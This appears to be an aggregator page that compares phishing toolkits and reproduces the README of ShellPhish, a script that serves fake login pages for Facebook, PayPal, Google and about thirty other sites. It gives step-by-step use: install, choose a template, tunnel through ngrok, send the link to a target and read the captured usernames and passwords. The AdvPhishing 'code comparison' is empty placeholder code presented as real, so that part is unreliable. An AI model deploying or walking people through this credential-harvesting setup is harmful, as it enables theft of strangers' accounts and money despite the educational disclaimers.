Convert Figma logo to code with AI

AbirHasan2005 logoShellPhish

Modded version of shellphish. Mod Features are Colourized Text, Animations, In built setup for Termux, Extra features, More improvements, Bugs cleared, Fixed URL not showing.

1,021
170
1,021
23

Top Related Projects

11,833

An automated phishing tool with 30+ templates. This Tool is made for educational purpose only ! Author will not be responsible for any misuse of this toolkit !

Introducing "URL Making Technology" to the world for the very FIRST TIME. Give a Mask to Phishing URL like a PRO.. A MUST have tool for Phishing.

This is Advance Phishing Tool ! OTP PHISHING

Quick Overview

ShellPhish is a phishing tool designed for educational and ethical hacking purposes. It creates fake login pages for various popular websites and can capture user credentials. The project is intended to raise awareness about phishing attacks and should only be used responsibly and with proper authorization.

Pros

  • Easy to set up and use, with a user-friendly interface
  • Supports multiple popular websites for phishing simulations
  • Includes tunneling options for remote access
  • Regularly updated with new features and improvements

Cons

  • Can be misused for malicious purposes if not handled responsibly
  • May require additional setup for some features (e.g., Ngrok for tunneling)
  • Limited customization options for phishing pages
  • Potential legal implications if used without proper authorization

Getting Started

To get started with ShellPhish:

  1. Clone the repository:

    git clone https://github.com/AbirHasan2005/ShellPhish.git
    
  2. Navigate to the ShellPhish directory:

    cd ShellPhish
    
  3. Run the script:

    bash shellphish.sh
    
  4. Follow the on-screen prompts to select a website template and tunneling option.

  5. Share the generated link with your target (for authorized testing only).

  6. Monitor the captured credentials in the generated usernames.txt and passwords.txt files.

Remember to use this tool responsibly and only for educational or authorized testing purposes.

Competitor Comparisons

11,833

An automated phishing tool with 30+ templates. This Tool is made for educational purpose only ! Author will not be responsible for any misuse of this toolkit !

Pros of zphisher

  • More comprehensive set of phishing templates (30+)
  • Includes a built-in web server for hosting phishing pages
  • Regular updates and active maintenance

Cons of zphisher

  • Larger codebase, potentially more complex to modify
  • Requires more dependencies to be installed

Code Comparison

ShellPhish:

if [[ -e sites/$server/ip.txt ]]; then
    rm -rf sites/$server/ip.txt
fi

if [[ -e sites/$server/usernames.txt ]]; then
    rm -rf sites/$server/usernames.txt
fi

zphisher:

if [[ -e $site_dir/ip.txt ]]; then
    rm -rf $site_dir/ip.txt
fi

if [[ -e $site_dir/usernames.txt ]]; then
    rm -rf $site_dir/usernames.txt
fi

Both projects use similar code structures for file management, but zphisher uses variables for directory paths, making it more flexible and easier to maintain. ShellPhish directly references the "sites" directory, which could be less adaptable if the directory structure changes.

Introducing "URL Making Technology" to the world for the very FIRST TIME. Give a Mask to Phishing URL like a PRO.. A MUST have tool for Phishing.

Pros of maskphish

  • More active development with recent updates
  • Includes additional URL masking techniques
  • Supports multiple tunneling options (Ngrok, Cloudflared, Localhostrun)

Cons of maskphish

  • Less comprehensive documentation
  • Fewer customization options for phishing templates
  • Requires more dependencies to be installed manually

Code comparison

maskphish:

url_checker() {
    if [ ! "${1//:*}" = http ]; then
        if [ ! "${1//:*}" = https ]; then
            echo -e "\e[31m[!] Invalid URL. Please use http or https.\e[0m"
            exit 1
        fi
    fi
}

ShellPhish:

tunnel_menu() {
    if [[ -e .server/ngrok ]]; then
        echo -e "\n${GREEN}[${WHITE}1${GREEN}]${CYAN} Ngrok"
    else
        echo -e "\n${GREEN}[${WHITE}1${GREEN}]${RED} Ngrok ${YELLOW}[Not Installed]"
    fi
}

Both projects aim to create phishing links, but maskphish focuses more on URL masking techniques, while ShellPhish provides a wider range of pre-built phishing templates. maskphish has seen more recent updates, potentially offering better compatibility with current systems. However, ShellPhish offers more detailed documentation and easier setup for beginners. The code snippets show that maskphish includes URL validation, while ShellPhish focuses on tunneling options presentation.

This is Advance Phishing Tool ! OTP PHISHING

Pros of AdvPhishing

  • More advanced and feature-rich phishing tool
  • Includes additional templates and customization options
  • Supports multiple tunneling options (Ngrok, Cloudflared, Localtunnel)

Cons of AdvPhishing

  • More complex setup and usage
  • Larger codebase, potentially harder to maintain
  • May require more system resources

Code Comparison

ShellPhish:

#!/bin/bash
# Simple phishing script
echo "Starting ShellPhish..."

AdvPhishing:

<?php
// Advanced phishing functionality
function advancedPhishing() {
    // Complex phishing logic
}

AdvPhishing offers more sophisticated phishing capabilities with its PHP-based approach, while ShellPhish provides a simpler bash-based solution. AdvPhishing's code structure allows for more advanced features and customization, but it may be more challenging for beginners to understand and modify.

Both tools serve similar purposes but cater to different user skill levels and requirements. ShellPhish is more straightforward and easier to use, while AdvPhishing offers more advanced features for experienced users who need additional functionality and customization options.

Convert Figma logo designs to code with AI

Visual Copilot

Introducing Visual Copilot: A new AI model to turn Figma designs to high quality code using your components.

Try Visual Copilot

README

ShellPhish v2.5-MOD

Phishing Tool for Facebook, Instagram, Google, Microsoft, Netflix, PayPal, Steam, Twitter, PlayStation, GitHub, Twitch, Pinterest, Snapchat, Linkedin, Ebay, Dropbox, Protonmail, Spotify, Reddit, Adobe, DeviantArt, Badoo, Origin, CryptoCoin, Yahoo, Wordpress, Yandex, StachoverFlow & VK. This is a modified version of ShellFish, ShellPhish & Zphisher.

Requirements

  • git
  • brew
  • PHP
  • ngrok

ChangeLog:

  • Updated to v2.5:
    • Added 2020 New Login/Phishing Page.
    • Added Traditional Login Page.
    • Added Advanced Voting Poll Login Page.
    • Added Fake Security Login Page.
    • Added Facebook Messenger Login Page.
    • Improvements in ShellPhish Logo.
    • Added New Sites.
    • Added 4 Port Forwarding Options.

List of available sites:

[01] Facebook     [11] Twitch       [21] DeviantArt
[02] Instagram    [12] Pinterest    [22] Badoo
[03] Google       [13] Snapchat     [23] Origin
[04] Microsoft    [14] Linkedin     [24] CryptoCoin
[05] Netflix      [15] Ebay         [25] Yahoo
[06] PayPal       [16] Dropbox      [26] Wordpress
[07] Steam        [17] Protonmail   [27] Yandex
[08] Twitter      [18] Spotify      [28] StackoverFlow
[09] PlayStation  [19] Reddit       [29] VK
[10] GitHub       [20] Adobe

Mod Features:

  • Colourized Text
  • Animations
  • In-built Setup for Termux
  • More extra features
  • More improvements
  • Bugs cleared
  • Added temporary Fix (ngrok workaround)
  • Added Requirements

Screenshot

Screenshot_FB

Usage:

apt update && apt upgrade -y && apt install git wget php unzip curl -y && git clone https://github.com/AbirHasan2005/ShellPhish && cd ShellPhish && chmod +x * && bash shellphish.sh
  • You will need to download ngrok ngrok.com/get-started/setup for workaround.

  • Register and sign up for ngrok to obtain ngrok auth token in order for it to work push auth in directions as outlined on ngrok official website.

  • Fire up ngrok on the port (ngrok http 5555/standard is 5555) you're planning to running shellphish on, then open a seperate terminal and run shellphish, link/url will be present in ngrok's terminal tab.

How to Update:

cd ShellPhish
bash update.sh

Note:

This is in development. If you find any problems than please report them to my Telegram Group. To work properly in Android you have to Turn On Mobile Data and Hotspot. Without Mobile Data and Hotspot sometimes it not generates Phishing URL.

Legal disclaimer:

Usage of Shellphish for attacking targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Modified by @AbirHasan2005

Credits:

TheLinuxChoice: https://github.com/thelinuxchoice

DarksecDevelopers: https://github.com/DarksecDevelopers

UndeadSec: https://github.com/UndeadSec

HTR-TECH: https://github.com/htr-tech

Here sites folder collected from ZPhisher (https://github.com/htr-tech/zphisher)

For any kind of help, support, suggetion and request ask in my Telegram Group:

Follow on:

Doante Me:

paypal